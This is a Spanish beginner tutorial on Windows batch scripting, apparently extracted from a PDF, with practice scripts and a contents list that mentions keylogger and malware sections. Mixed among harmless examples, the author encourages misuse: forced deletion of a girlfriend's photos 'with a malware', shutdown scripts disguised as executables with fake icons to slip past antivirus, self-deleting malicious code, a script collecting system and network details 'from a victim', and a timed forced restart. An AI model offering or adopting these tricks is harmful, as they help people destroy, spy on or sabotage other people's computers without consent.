Está en la página 1de 94

ndice de contenidos:

Para que no tengas que leer un montn de informacin sin sentido he puesto el ndice y as
de paso te vas directamente a la parte o "desde" la parte que necesitas aprender :)
He pintado en Amarillo pastel los prrafos que leers solo si no sabes NADA de
NADA

He puesto con letras rojas los prrafos que creo que son importante y QUE
DEBERIAS LEER. Si no voy a llorar ;(
He pintado de negro con letras verdes los cdigos prcticos de este tuto, en honor a los
precursores de la inseguridad informtica !!. :)
Presentacin
Agradecimientos
Nota del autor
Nivel bsico
(o sea que no conoces ni batch ni otro lenguaje)
Que es el batch (historia)
Practica 1- (hola mundo)
Usando por primera vez nuestro bat
Hola mundo explicado
Echo: usos distintos
Title
Pause
Help: Como usar y entender lo que nos dice
-Que es una variable?
-Variables de entorno
- *.* Comodines, que son y como se aplican
-Archivos por lote
-Comandos mas sencillos de help (lista)
-Attrib
-Color
-Exit
-Shutdown
-DEL / ERASE
-Pause
-(silenciando, editando el mensaje o redirigiendolo a un texto)
Nivel bsico medio (mas comandos help)
Ping como pause alternativo
CLS
EXTRA: Mi primer efecto matrix (haz el tuyo propio) :p
Set/p
Set/a
Goto
If-else (creando nuestro primer programa con clave)
If not
if errorlevel
if exist / if not exist

Nivel bsico avanzado


> y >> Redireccionamiento de texto
Otros comandos varios de help
Recover
Ver
Start
Date/Time
Dir / Tree
CD
mkdir / MD
RD / RMDIR
Move
Copy
Xcopy
convirtiendo nuestros programas en exe
usando Iexpress
Usando Winrar
Usando Batch to exe compiler
Correccin de bugs
Proyectos de inters (bienvenida)
Subndice
1.- Bat para crear distintos colores dentro de una misma ventana
2.- Bat para abrir paginas web
3.- Bat para solicitar contraseas
4.- Bat para reiniciar el explorador en caso de bloqueo
5.- Keylogger (ejemplo)
6.- Direccion IP
7.- Buscador google By July
8.- Codigo para calcular resistencias by URI++
9.- Mi propio grafico en batch
10.-Eggilus By Halsenheim
11.-AutoShut By halsenheim
12- Unidad virtual (disco oculto)
13- Diseo malwares (Virus simples)
Juegos hechos en batch
14.-Formula 1
15.-Space invaders
16.-Maze Madness
Despedida

Presentacion

Agradecimientos
Mucha gente a quien agradecer... pero lo merece un tuto tan pequeo?, adems de que es
el primero en mi carrera que recin comienza :)
A Facu y Menrva por ayudarme en mis primeros pasitos en todo este mundillo, soy "nada"
en comparacion a ellos... por cierto, soy noob as que no me pidan tanto del tuto :)
Whiz, que por lo menos yo le consider el primer amigo o socio que hice en el foro.
Desarrollamos entre los dos un troyano que se preocupa de que el "cliente" nunca pierda
la conexion... bueno no? :), no sera un RAT pero considerando que en ese momento yo ni
siquiera sabia lo que eran el troyano se las arregla bastante bien. :), de todos modos el
hizo toda la parte mas difcil jaja ..
2Fac3R, [I]nfectedbug, que me han ayudado en dudas clave y lo siguen haciendo. Que por
cierto, y terminando este tuto estoy pensando en el segundo, mucho mas avanzado, con
mas tiempo y que por cierto de ah me lanzo a otros lenguajes... al fin jeje. (que peque ):
Cave destacar que si lees este tuto pasate por los que tiene 2Fac3R, gran parte de lo que
se lo aprend de el y de vez en cuando me ensea algo, te recomiendo leer varios y de
distintas personas, de esa manera crearas un conocimiento "global" de Batch, Yo tengo
como 5 versiones de varios y adems del material de foros, blogs, sitios, youtube y
preguntas yahoo. Todo sirve !! :)
Kid_goth, Null, mrobles que me dieron "bombas" de conocimiento en el sentido que tuve
que sentarme y curarme del mareo producido por la info que mi cabeza que no poda
procesar jejeje...
Por cierto, siempre estuve sentado jajaja. :D

Nota del autor


Voy a hacer todo lo posible para que este tutorial no sea como los que he visto vale?, me
refiero a que si estoy enseando algo es porque lo se yo primeramente, intentare explicar
con ejemplos y sintaxis practicas, no lo malo (virus) o lo bueno (utilidades) de batch sino
todo, luego tu eliges que haces con el, de paso doy mi renuncia por escrito en este
tutorial para cualquier uso inapropiado que le des :)
Por cierto, si tu eres nuevo y no conoces nada de hacking pasate por un foro llamado
hackxcrack.es.
En el foro de mas esta decir que hay muchas personas que conocer, si nos topamos por
ah, yo soy "halsenheim" y a la fecha soy un humilde Noob.
Saludos

Que es el batch (historia)


Pues para no aburrirte dar una resea vale?:
Un tipo llamado Bill Gates compro a muy bajo costo un sistema operativo llamado DOS a
un tipo que crea que era basura y luego con esa basura se hizo multimillonario, ahora ese
tipo es el dueo de microsoft y por lo tanto de Windows, seria buena idea que veas el
documental/pelicula que hay de "la historia de Windows", si ya haz visto la consola de
Windows (pantalla negra) eso es DOS o mas bien una consola MS-DOS, aunque ya ha
pasado mucho tiempo y la versin actual es mas compleja, tambin Linux posee la misma
pantalla, salvo que este se llama Shell y su programacion es conocida como Bash. Si te
preguntas porque el parecido es por el amigo Bill... siempre fue un ladrn de ideas y
traicionero de sus sociedades empresariales, sin entrar en detalles puedes imaginar
porque ese odio a Windows en la red y eso de que nadie quiere a Bill Gates.
Espero no haber sido muy latoso XD !!

Por otra parte Bacth es:


Una especie de "tareas programadas" para Windows, o sea puedes programar tareas, o
sea que puedes crear un programa o "programar", lo explico as para no molestar a los
dems, que dicen que batch no es un lenguaje de programacion en si, bueno esta bien
pero puedes hacer programas o no?.
Si lo quieres en tu lenguage, bacth para mi es un lenguaje de programacion, uno de los
mas fciles de hacer y de usar, puede hacer cualquier cosa que Windows haga y mas (si
sabes como programarlo) y lo mejor es que no necesitas compilarlo (convertirlo de cdigo
a exe), aunque tambin se puede hacer.
Su desventaja es que funciona solo con windows, adems que tiene limitaciones que
puedes sortear en algunos casos (complicandote muchisimo). pero para empezar esta
bueno, creo yo...

Y pues bien, sin mas lata binevenido a lo practico !!


Practica 1"Hola mundo"
Ahora que ya tienes una idea de que es batch te mostrare una manera simple con la que
casi todos comienzan a aprender cualquier lenguaje, el primer programa creado y que
tiene por nombre "hello world" (o hola mundo)
pues bien, este es el cdigo fuente (tambin conocido como source)

PRACTICA X
si se puede llamar as
::------------------------ (esta barra puedes borrarla)
@echo off
title mi primer programa !
echo Hola mundo!
echo.
pause
::------------------------ (esta barra tambien puedes borrarla)
Pues como veras no era un programa particularmente largo pero considera que fue el
primero XD, ahora te enseare a usarlo y a crearlo vale? (si ya saves desavilitar la
ocultacion de extenciones pasa del parrafo 1 )

Usando por primera vez nuestro bat


..Si ya sabes mostrar las extenciones de archivos pasa del numero 1
1.- No es tan importante pero es bueno que aprendas a mostrar las extensiones de archivo
que Windows oculta por defecto, para ello: ve a panel de control\opciones de carpeta y en
la pestaa "ver" busca abajo una opcin que dice "ocultar las extensiones de archivo" que
por defecto viene activada, desactivada y desde ahora podrs ver las extensiones de
archivo... para que sirve esto?, pues te har mucho mas rpido y simple el hecho de editar
y transforma a tu gusto muchas cosas, como convertir un cdigo a un ejecutable batch,
esconder programas que te lo enseare mas adelante (esto sirve para mejorar eficiencia
en programas y algunos los usan para ocultar sus virus), como sea yo te enseare, luego
tu ves lo que haces, pueden ser desde programas muy tiles, pasando por controlar a tus
hijos, la accesibilidad del sistema, borrar o ocultar porno, infectar con virus, etc...
Por ejemplo, habiendo ya habilitado deshabilitado la ocultacin de las extensiones
podemos cambiarle el nombre... por ejemplo al video hot que grabaste cuando estabas
con tu prima le pone por nombre "importante.doc" y nadie lo borrara por ser "importante"
pero nadie podr verlo ya que al hacer doble click se abrir un procesador de texto y no
vera mas que un error o en ultimo caso garabatos que no entender, por otra parte, si a un

texto (mio.txt por ejemplo) le cambias el nombre a "mio.bat" lo convertirs en un


ejecutable, entiendes ?
2-Habiendo dejado lo anterior claro, ahora debes abrir un block de notas (no word ni
ningn otro, solo el block de notas)
3- Copia el cdigo, desde "@echo off" hasta "pause", las lineas que tienen :: al principio
puedes borrarlas, ya que son comentarios. Todo lenguaje de programacin tiene
comentarios, los cuales se ingresan despus de un smbolo en particular que segn el
lenguaje cambia, en este caso es :: pero en C es otro y en python otro y as... lo usamos
para ensearte a ti, agregando un comentario del programa el cual no se ejecuta (se
ignora).
4-Cambia la extensin del archivo de *.txt a *.bat, si no sabes como lee el punto numero 1
o ve a "guardar como", elige donde lo guardas y como nombre ponle "nombre.bat".

...Mas fcil imposible... XD


5-Ejecutalo y veras el mensaje "hola mundo", seguido de la unstruccion de presionar una
tecla para continuar la cual imprime automaticamente el comando pause, a continuacion
te esplico cada comando vale?

Hola mundo explicado


echo
Distintos tipos
@echo off: Desactiva el eco para que no se vea tan desordenado.
@echo on: Activa el eco.

Si te preguntas que es el eco son esa letras de la imagen XD, el eco significa en batch
mostrar el resultado de todos los procesos
Si escrives "echo hola" apareceria "C:\Users\Juan>echo hola", y asi por cada
comando... no hay que ser muy astuto para saver que se vera muy feo :( ... solo por eso
escriviremos "@echo off" al principio y el eco quedara desactivado :)
echo : Este se escrive vacio, lo que hace es "preguntar" si el eco esta activado o no.
echo mi mensaje: Mostraria en pantalla el texto mi mensaje o el que tu escrivas.
echo. : Salta una linea para que no quede todo junto, se usa mucho para separar
parrafos.
No necesitas mas, si no entiendes bien ponlo en practica y veras, "los libros como el
pan y los tutos con mas afan" ... Eso te diria un hacker... :)
title
Este le da el titulo al programa, si miras la foto anterior veras que dice
"Administrador:Simbolo del sistema", ese es el titulo de la ventana y puedes cambiarlo
escriviendo title y a continuacion el nombre que quieras darle ;)
NOTA: Lo bueno de batch es que con la consola de Windows puedes provar la funcion de
un comando sin tantos tramites, intentalo, abre una consola de comandos y teclea "title mi
programa" y el nombre de la ventana cambiara, es como crear un programa en tiempo
real, muy parecido a python

pause:
Este sirve para aadir una pausa jajaja suena estupidamente obvio lo se :)...
Intenta borrar este comando de tu programa y aver si alcanzas a leer algo ja... Pues eso, la
pausa es para que puedas ver tu programa.
NOTA: el comando pause aade un mensaje por defecto a tu programa, luego te enseare
como cambiarlo o ocultarlo.
Y con eso terminamos el primer programa, editalo y hazlo a tu pinta a ver que
sale XD

Help
Como usar y entender lo que dice
Una de las cosas que tiene batch es que cuenta con una base de informacion
proporcionada por el mismo Windows a la que puedes consultar de manera que aprendas
mejor las cosas:
Preciona la tecla "Windows" y la "r" al mismo tiempo, escrive CMD y te saldra la "pantalla
negra", entonces escrive help y veras una lista de comandos muy mal explicados, si
quieres saber mas de alguno, por ejemplo escrives "DEL/?" y aperecera:
DEL [ /P ] [ /F ] [ /S ] [ /Q ] [ /A[ [ : ]atributos ] ] nombres
ERASE [ /P ] [ /F ] [ /S ] [ /Q ] [ /A[ [ : ]atributos ] ] nombres

Pues significa que: al comando DEL le puedes dar /p, /f, /s, /q, /A como parmetros que
activan una caracterstica especial de DEL y se leen de forma separada por Windows, por
eso estn entre parntesis separados. Cambien tenemos el parmetro /A que tiene
parntesis dentro de si, esto significa que lo que escribas despus de /A se leera como un
parmetro dentro de /A, el cual a su vez es un parmetro del mismo DEL, esta estructura
es semejante a un rbol... mmm mejor "te hago un dibujito"
Apuesto que ahora ya entendiste !! Ehh!! pues as quien no verdad?. Ahora notas porque el
parmetro /A tenia tantos parntesis, era porque esta subdividido en mas sub parmetros.
En ocasiones preguntando a help te saldr algo como:
VEFIRY [ ON : OFF ]
Que significa que para verify puedes escoger entre "on o off", (solo uno de las dos), a
diferencia de "DEL" que puede uzar todos al mismo tiempo.

Que es una variable?


Y por ultimo esta el termino que se usa en todos los lenguaces que es %variable%, donde
variable significa una palabra que tu quieras usar, o sea que si te digo:
Hola %variable%
quiero decir..
Hola %perro%
Hola %camin%
o...
Hola %mimamamemima%
NOTA: Cave destacar que el lenguaje batch no hace diferencias entre maysculas y
minsculas, A excepcin de ciertos casos sin embargo ten cuidado con los espacios, las
variables son de una sola palabra.

Variables del entorno


Las variables de entorno son nombre predeterminado para ciertas rutas de windows,
supongamos que haces un virus que se copia en C:\, pues si algn "pillo" instala su
sistema operativo en D:\ no podras hacerle nada verdad? Pues para esto estn las
variables de entorno, donde "windir", por ejemplo significa "C:\Windows\"y as hay muchos
otros

COMODINES:
Para que sirven?
Se escriben con el smbolo * y veras... supongamos que vas a eliminar todas las fotos del
pc de tu novia con un malware, pero que pasa si no sabes el nombre de cada foto?, pues
como Windows exige que sepas el nombre tendras un gran problema. La forma de
solucionar esto es escribiendo por ejemplo:
del /f /s / q C:\Users\Mia\Desktop\nuestrasfotos\*.bmp que traducido al espaol significa:
ve a la carpeta C:\Users\Mia\Desktop\nuestrasfotos\ y borra todos los archivos que
terminen en .bmp (o sea fotos) y donde dice mia es tu novia, por lo que podemos decir que
"tu novia es mia" jeje.

Archivos por lote:


que que ?!!
Un archivo por lote no es otra cosa mas que un batch, de estos que te estoy enseando a
hacer... pues bien, Windows les llama archivos por lotes.

Comando /?
este teda ayuda acerca de algo, como por ejemplo DEL/? Que abre la ayuda del comando
DEL.

Comandos mas sencillos de help


Lista
Y bue... conozcamos los comandos mas comunes y fciles :D
ECHO
TITLE
HELP
comando /?
ATTRIB
COLOR
EXIT
SHUTDOWN
DEL / ERASE
PAUSE
PING
CLS
SET/P
SET/A
GOTO
IF-ELSE /NOT /ERRORLEVEL/EXIST
> y >>
RECOVER
VER
START
DATE / TIME
DRI / TREE
CD
MKDIR / /MD
RD / RMDIR
MOVE
COPY
XCOPY
NO TE DESANIMES !! ... parecen muchos, pero en menos de lo que canta un gallo
aprenders estos comandos y apuesto que ni siquiera te dars cuenta ;)

ATTRIB
Este comando da o quita atributos a algn archivo de tu pc, sus funciones son:
R
A
S
H

Solo lectura.
De almacenamiento.
Archivos del sistema.
Archivo oculto.

+ Activa un atributo.
- Desactiva un atributo.
/S Aadiendo esto, el proceso seleccionado no solo se aplicara en la carpeta que elijas,
sino tambien en todas las sub carpetas que hallan dentro.
/D

Tambin procesa carpetas.

Vamos a hacer un ejemplo de sintaxis:


ATTRIB -S -R -A C:\Windows\system32\*.dll /S
Lo que significa: Ve hasta la carpeta C:\Windows\system32\ (y todas sus sub carpetas) y
quitales el atributo de sistema, el de solo lectura y el de archivos de almacenamiento a
todos los archivos que tengan extencion .dll y hazlo tambin en los sub directorios ... eh,
olvidaba decir por favor... XD

Color
Cambia el color de la pantalla y/o de las letras dentro de una gama, para saber mas abre
una consola y escribe color/?, te aparceran todas las opciones :p

PRACTICA X
::------------------------@echo off
title mi segundo programa
echo hola compaloco
echo a continuacin las letras cambiaran de color !!
echo.
Pause
color 0a
echo ves? No me creas XD
echo ahora las letras son verdes !!
pause

::--------------------------

Exit

No tiene mayor detalle... Se usa regularmente con comandos mas avanzados como el for,
if, goto y esas cosas, por ahora no lo necesitaras. (es para salir, obviamente "un hola
mundo" no lo necesita)

Shutdown
Este si es pedazo de comando !!, puede servirte para cualquier programa que intentes
hacer que tenga la opcin de apagar el pc hasta el mejor virus. (y muy fcil por cierto)
bueno primero te explico las opciones mas usadas y luego su sintaxis vale?:

/L Cierra la seccin inmediatamente


/p Apaga el equipo inmediatamente
/s Apaga el equipo con un tiempo de espera estndar de Windows
/r Reinicia con una espera estndar de Windows (23 segundos)
/a Cancela el apagado.
/f Modo forzado.
Una sintaxis ejemplo:
::-------------------------@echo off
title mi primer programa
echo Hola compaloco!
Echo presiona una tecla compaero, para que se apague este vil vicio..
pause >> null
shutdown -p -f
::------------------------O es su defecto podras haber escrito "shutdown -s -f -t 0" donde cero indica que se
apagara ahora mismo. Imaginando que quieres hace una broma, si pasas tu bat a exe y le
cambias el icono por el de Internet, alguna foto, video, juego, etc... el tipo dir:

WTF !! tengo un super


virus inmune a mi
antivirus de mil dolares, el
que hiso esto debe ser un
supergenio !!!
... cuando
En realidad lo que pasa es que le llenaste el escritorio con copias da la instruccin
shutdown(con distintos iconos) que por cierto no se cataloga como virus, por lo que
el antivirus no la detecta...
Y bue.. sigamos ;)

DEL / ERASE
No necesitas ser muy astuto, ya que cualquiera de los dos en ingles significa "borrar",
enseguida una resea de sus funciones (si quieres mas detalles puedes consultar "help" en
la consola de comandos o tambin por Internet).
/p: Pide confirmacin antes de eliminar... yo que tu no lo usara en un malware
/f: Elimina de modo "forzado" cualquier archivo (siempre y cuando no este en uso)
/s: Ejecuta DEL tambin en las carpetas que hallan dentro del directorio seleccionado.
/q: Modo silencioso.
/a: selecciona los archivos que se borraran basndose en los atributos que tengan, (yo le
explique antes), sin embargo yo nunca lo uzo a menos que sea necesario.
NOTA: Una forma muy interesante y frecuente para DEL es al final de un cdigo virulento
en que luego de ejecutar su funcin termina por eliminarse a si mismo, de esta forma no
se dejan huellas. Puedes pensar en ello, quiz cuantas veces has sido infectado y no lo has
visto...
Pause

Este comando ya lo vimos, pero te enseare los detalles que me faltaron vale?.
Supongamos que el mensaje "Presione una tecla para continuar" ya te tiene mas que
harto (sobre todo cuando haces cdigos largos) y no quieres que pregunte a cada rato,
entonces tienes dos opciones:
Pause > nul: que enva el mensaje de pause a una salida nula. Si antes del pause pones
un echo con algn mensaje estars editando el mensaje de pause... eso si quieres.
Pause > resultado.txt: que enva el mensaje de pause a un archivo en la misma carpeta
llamado "resultado.txt".

PING
Este comando se usa mucho para hacer una pausa temporal, o sea que despus de uno o
dos segundos el programa siga su curso, es como hacer un pause pero que no necesita
que presiones nada, su sintaxis es:
"ping localhost" (hay otra forma pero esta es mas simple )
tambin puedes usarlo para hacer ping a sitios de Internet y saber su ip, dems esta decir
que con el tiempo este simple comando sera una herramienta poderosa en el hackeo de
sitios, sin comentar que tambin puedes hacer otras cosas, como un programa que se
active cada vez que la vctima se conecta a Internet, haciendo un ping a google (por
ejemplo) y si la coneccin se ejecuta de forma normal (no hay ningn error) que el
programa ejecute una funcin para desconectar Internet o apagar el equipo Muajajajaja

A continuacin un ejemplo practico

Practica x

::------------------------@echo off
colo 07
title modificando
echo Hola mundo!
echo.
Pause > null
echo hola compaloco
echo a continuacion las letras cambiaran de color !!
pause
echo uzaremos el comando ping "localhost"
Ping localhost
color 0a
echo.
echo ves? No me creias XD
echo ahora las letras son verdes !!
pause > nul
echo ahora estamos haciendo ping pero de forma oculta
ping localhost > nul
echo.
echo buala !! no salio nada ..
pause
echo.
echo ahora estamos haciendo un ping al foro hacker donde soy miembro y mandaremos
echo el resultado a un texto que llamaremos "miarchivo.txt"
ping www.hackxcrack.es >> miarchivo.txt
echo.
echo listo! Revisa la carpeta donde esta tu batch
echo tendras un texto con el resultado llamado miarchivo.txt
echo nos vemos !!
pause >> null
::-------------------------... A propsito, a puesto que aburre aveces ver tanta letra suelta en un batch, pues amigo
mio para eso tambin hay solucin!! ...

CLS
Este comando es muy simple de usar, lo que hace es borrar la pantalla para seguir con el
programa de manera que se vea todo mas limpio, a eso lo llamamos "refrescar la pantalla"
...mm bueno yo lo llamo as y que ? :d. Solo debes escribirlo donde quieres refrescar la
pantalla y ya, el efecto sera algo como esto:

Practica 3-

::-----------------------@echo off
color 07
title mi primer programa
echo Hola mundo!
echo.
pause
cls
title mi segundo programa
echo hola compaloco acavas de hacen un CLS
echo a continuacion las letras cambiaran de color !!
echo.
Pause
cls
color 0a
echo ves? No me creias XD
echo ahora las letras son verdes !!
pause
cls
title tercera vez
echo a proposito ya has cambiado dos veces de titulo
echo a puesto que no te habias percatado ! XD
echo.
pause
::--------------------------

Extra
La razn de porque di tanta explicacin en el programa es para que no te pierdas vale?,
aqu te dejo otra forma de usar el ping tambin en pausa, pero en un programa mas bonito
y que aparenta mejo logro:
Mi Primer efecto matrix
By alsenheim
::-------------------------------------------------@echo
title
color
title
cls
echo.
echo.
echo.
echo.
echo.
echo
echo

off
Efecto Matrix
0A
Matrix

#
#
##################

echo
#
#
echo
#
Matrix
#
echo
#
By
#
echo
# Halsenheim #
echo
#
#
echo
##################
echo
#
XD
#
echo.
echo.
echo.
echo.
echo.
echo.
pause
cls
echo.
echo Para INICIAR:
_Pulsa cualquier tecla
echo Para TERMINAR: _Preciona tecla "Ctrl + C"
pause>>null
cls
:matrix
echo o 1 f s 1 0 c o z p i o x 1 m w r j v 1 b 1 k 0 y
ping -n 1 localhost > nul
echo 1 0 s i 0 d 1 m f v 0 g h p z j 0 1 0 x y w t c l
ping -n 1 localhost > nul
echo 1 1 d m 1 a h y 1 g s 1 0 j 1 f 0 r k 0 z i 1 p w
ping -n 1 localhost > nul
echo 1 m y d 1 g b 1 w s 0 t l h j 1 0 1 a 0 k f r 1 0
ping -n 1 localhost > nul
echo g 0 1 y 1 0 a 1 m 0 c 0 w d 1 j l r k b 0 1 1 f 0
ping -n 1 localhost > nul
echo 1 s 1 g b 1 y 0 l 1 x d 1 f 1 0 z 1 0 c j m 1 r h
ping -n 1 localhost > nul
echo 1 a 1 d g 1 j h 1 y 0 c 1 l x 1 f t 1 0 s q 1 v o
ping -n 1 localhost > nul
echo a 0 c 1 t 0 1 f 0 g w 1 y i 0 s v q 1 x d 1 O r l
ping -n 1 localhost > nul
echo 1 0 1 0 1 d w b 1 f 1 q v 1 r 1 s y g 1 k t p a 1
ping -n 1 localhost > nul
echo 1 0 s 0 1 a v b 1 x 0 r q 1 u h p 1 O j 1 w 1 y d
ping -n 1 localhost > nul
echo 0 b 0 c x 1 q 0 j p v o r 0 h 1 k m 0 l i 1 0 z s
ping -n 1 localhost > nul
echo 0 1 s c q 1 j 1 0 m 1 w 0 f d x t 1 0 z h 0 1 b v
ping -n 1 localhost > nul
goto:matrix
::-------------------------------------------

O t d 1 h g a 0 q 1 l a 1 0 1
k 0 1 0 1 b 1 q 1 1 a 1 e 0 f
l 0 v 1 x t b 0 q 1 O c 1 0 p
c 0 p i 0 v 1 0 x q O 1 w 1 s
z c h s x 0 t q 0 p i o v 0 1
w 1 k 0 v t q i p O 0 1 a 1 0
z i 0 m 1 1 W k r 0 p 0 b 0 1
j 1 p k 0 h 1 z 0 b 0 1 m 1 z
0 c x l i j 1 0 h m 0 z 1 0 k
c 1 f m 1 z k t 1 l g 1 1 0 0
1 y 1 1 d w 1 f 1 t a g t 0 1
p 1 r 0 l y 1 i 0 k 1 g a r h

... Ya sabes, solo cpialo a un block de notas y cmbiale el nombre por "tunombre.bat"...
Este programa (si se le puede llamar as) es viejisimo y cada quien lo hace de una manera
diferente, con el tiempo inventaras la tuya ! :p

SET
Nivel basico
Este comando es un poco extenso pero solo nos concentraremos en lo mas bsico.
set/p: Lo que este comando hace es permitir una entrada de texto como por ejemplo
cuando un programa nos pregunta el nombre o cuando queremos establecer una clave en
el programa (suponiendo que es un malware, la idea es que no lo ejecuten sin permiso).
Su sintaxis:
set/p variable="mensaje: " donde mensaje es el que nosotros le demos, por ejemplo
"ingrese la clave"y variable ya te lo haba dicho, es la palabra que tu quieras. (por eso es
variable)
Bueno sin mas lata te doy un ejemplo y de paso pongo el primer caso (nombre)
Practica x
::-----------------------@echo off
title ejemplo de set/P
set/p variable="Hola como te llamas: "
echo que bueno yo tambien me llamo %variable% !!
echo.
pause
::------------------------

::-----------------------::
::Este programa es un clon que pregunta tu nombre y despus asegura que se llama igual
que tu,
:: si lo vuelves a ejecutar y le das otro 7nombre seguir
:: asegurando que se llama igual, intntalo ;)

Set / a : Lo que hace es aadir funciones matemticas, como suma, resta, multiplicacin y
divisin
Practica x
::-----------------------@echo off
title tu primera calculadora
echo esta es tu primera calculadora (de numeros enteros)
pause
cls
set/p numero1="Ingrese el primer numero: "
set/p numero2="Ingrese otro numero menor que el primero: "
cls
set/a suma=%numero1% + %numero2%
echo el resultado de la suma entre %numero1% y %numero2% es %suma%
set/a resta=%numero1% - %numero2%
echo.
echo el resultado de la resta entre %numero1% y %numero2% es %resta%
set/a multiplicacion=%numero1% * %numero2%
echo.
echo el resultado de la multiplicacion entre %numero1% y %numero2% es %multiplicacion
%
set/a divicion=%numero1% / %numero2%
echo.
echo el resultado de la divicion de %numero2% en %numero1% es %divicion%
echo.
pause
::-----------------------... Otro ejemplo:
set/a variable1= %numero1% + %numero2%
donde variable1 es la palabra que le queramos dar (para identificar)
Y luego si quieres que aparezca el resultado en la pantalla escribes "echo %variable1%" ,
donde variable1 es la palabra que le hallas dado (como suma)
Todo claro !! :D

GOTO

Se entiende bien el concepto no ??


Aprendiendo este comando ya puedes hacer programas con claves una sintaxis simple de
goto, que usaremos en el programa con clave seria:
::-------------@echo off
:otra
echo Hola
goto:otra
::--------------

Y como ya viste si estas haciendo la practicas es que goto te redirige hasta una etiqueta
previamente estipulada, en este caso es la palabra "otra", puede ser la que tu elijas, pero
para que sirve esto?
Pues combinada con el comando que viene lo veras :D

IF-else
If es una condicin que otorga una accin determinada dependiendo del valor que reciba,
si la respuesta no es la indicada "else" ejecuta otro comando, traducido al espaol es: "Si
ocurre esto haz aquello - de lo contrario haz esto otro".Veamoslo con este ejemplo, nuestro
primer programa para hacer una clave:

PRACTICA X
::-------------------------@echo off
title pasword
:no
cls
set/p pass="ingresa la clave corecta: "
if %pass%==miclave (goto:ok
) else (
echo te equivocaste !!
pause
goto:no)
:ok
echo que bueno pasaste !!
echo sabias que la mayoria de los programas usan estas funciones?
echo felicidades, te acercas a las ligas mayores !
pause
::-------------------------

... La clave, por cierto es "miclave" si todo junto, si quieres cambiar la clave solo ve a la
linea donde dice "if %pass%==miclave" y cambia "miclave" por lo que quieras, desde
entonces esa sera la clave !! :D
Y no te preocupes, que tener clave para tus programas si sirve, y MUCHO !!, solo imagina
que creas un programa y lo lanzas al mercado, pues si te fijas todos los de pago tienen una
clave que se basa en el mismo concepto, aunque la forma vara segn el lenguaje. Adems
si creas un malware no querrs que algn curioso te lo ejecute y aniquile el pc jejeje ...

If not
Este es un comando que acta parecido a un "else", solo se limita a un solo caso en
especifico, en espaol es como decir "si no pasa esto en concreto has aquello". De todas
formas en muchos escenarios un If not puede ser mucho mejor que un if-else.
if error level
Cada comando devuelve una respuesta de error (1) en caso de que tuvo algn error, o en
su defecto (0) si se ejecuto si problemas, lo que hace error level es mostrar es escuchar
ese resultado de operacin.
If error level en este caso establece una condicin que se ejecutara dependiendo de la
respuesta de erorlevel, como este comando es medio complejo te dar un ejemplo:
Practica
::-------------------------

@echo off
echo Esta es la informacion original de malala 1 > C:\Windows\System\malala.txt
echo ------------------------------------->> C:\Windows\System\malala.txt
echo Y esta es la informacion que sobre escrito desde malala 2 > C:\malala2.txt
pause
::------------------------Y bueno, con este programa creamos 2 textos, esto lo hago para que puedas entender lo
que mas adelante pasara, si no pudiesen crearse los dos textos errorlevel marcara 1, pero
no es el caso, vamos al siguiente bat
::-------------------------@echo off
copy C:\mulala2.txt C:\Windows\System\malala.txt
if errorlevel 1 (echo Algo anda mal aqui...
) else (echo al fin pudiste !!)
pause
::-------------------------Pues habiendo creado ya los dos, ejecuta el primer bat, te creara dos textos con distinto
contenido, uno en C:\ y otro en C:\Windows\System\, revisa las carpetas y los veras...
Pues ahora que ya revisaste, inicia el segundo programa para que aprendas a usar el
errorlevel...
Si todo sale mal (que es lo que queremos), errorlevel se activara, el caso que lo hiciera
tenamos una conducta para tal caso, que era decir "algo anda mal". Pues esto lo hice
intencionadamente para que vieras los dos casos... ahora, ve a la linea donde dice "copy
mulala2" y y en su lugar pon "malala2" que es el archivo que si extiste, ya que malala no
existe en C:\ sino que esta en otro lado... dale cambia el nombre.
Pues bien !! ahora si, ves que no era tan dificil?. Ahora ve a C:\Windows\System\ y abre el
archivo malala.txt , veras que el contenido de malala2 se ha copiado. Por fin !!
If exist / If not exist
Esta es otr a variante de if que te dice si existe o no un archivo, ejecutando un codigo
segun la respuesta, su antonimo es If not exist que actua de cierta forma si un archivo no
existe.
>> y >
Redireccionando texto
No aparece como lista de comandos Windows, de hecho no estoy seguro de si es un
comando siquiera, pero la utilidad que le daras e incomparable.
Sin dar mucho detalle:
> Crea un archivo de texto donde se escrive la respuesta de un comando, no solo pause
ni ping, sino muchos otros. Como
echo este es el contenido > texto.txt

donde crearia un texto en la carpeta actual llamado texto.txt y si lo abres veras que tiene
escrito "este es el contenido" sin comillas por supuesto.
>> Este aade informacion a un archivo de texto, de manera que no pierdes el contenido
anterior del mismo.Imagina lo siguiente:
echo este es el contenido > texto.txt
ipconfig/all >> ipvictima.txt
Realizara el mismo fin anterior, solo que luego aade informacion ejecutando el comando
ipconfig/all e imprime el resultado a texto.txt... No te dare ninguna idea pero un bat con
esta funcion puede servir de muchisimo con una victima.
NOTA: tambien puede imprimir usando este comando, imagiina todo lo que
puedes hacer :)

PRACTICA x

::------------------------------------------------------@echo off
echo -------------------------------------------------echo Directorio actual:
echo.
Cd >> info.txt

echo -------------------------------------------------echo Informacion ip:


echo.
ipconfig/all >> info.txt
echo --------------------------------------------------echo Informacion del sistema:
echo.
Systeminfo >> info.txt
echo.
Echo.
Echo Version de SO:
echo.
ver >> info.txt
echo --------------------------------------------------echo Arbol de archivos:
echo.
Tree >> info.txt
echo --------------------------------------------------echo Volumen del disco:
vol >> info.txt
echo --------------------------------------------------echo ESO ES TODO !!
echo --------------------------------------------------::-------------------------------------------------------:: Este programa lo que hace es crear un archivo de texto llamado info.txt en el que
escrive
:: informacion del pc, muy util si tienes imaginacion. (usalo con conciencia por favor)

Comandos varios
RECOVER
Y pues... imagina que el infectado eres tu, que harias?, pues si tienes que formatear tu pc
(y perder todos tu datos) una vez instalado Windows este comando te ayudara recuperar
gran parte de tus archivos, un ejemplo de sintaxis seria:
recover C:\Users\mia\Desktop*.*
Donde *.* significa que recuperara todos los archivos con todas las extenciones posibles,
tambien te sirve si vuelves con tu novia y quieres recuperar las fotos juntos que le
borraste cuando se pelearon y "te dio la india"... asi se hace Lammerazzo !! jaja ;)

Date / Time
Date muestra o editar la fecha de windows, time sirve para lo mismo pero con la hora. Si
eres un programador empedernido puedes hacer un programa X y regalar una version
demo que en cierta fecha caduque, ahora si quieres hacer maldades podria decirle a tu
programa que cierto dia / hora desate un codigo, dejando al usuario perplejo y sin que
pueda sospechar siquiera que tu fuiste el responsable. En otras palabras si saves uzar este
comando puedes "programar tareas"

PRACTICA X
::------------------------------@echo off
:no
time /t
if %time% in 21:30 (shutdown -r -f -t 0
) else (goto:no)
::------------------------------::------------------------------::
:: para los expertos: solo es un ejemplo, podria hacerse mucho mejor :)
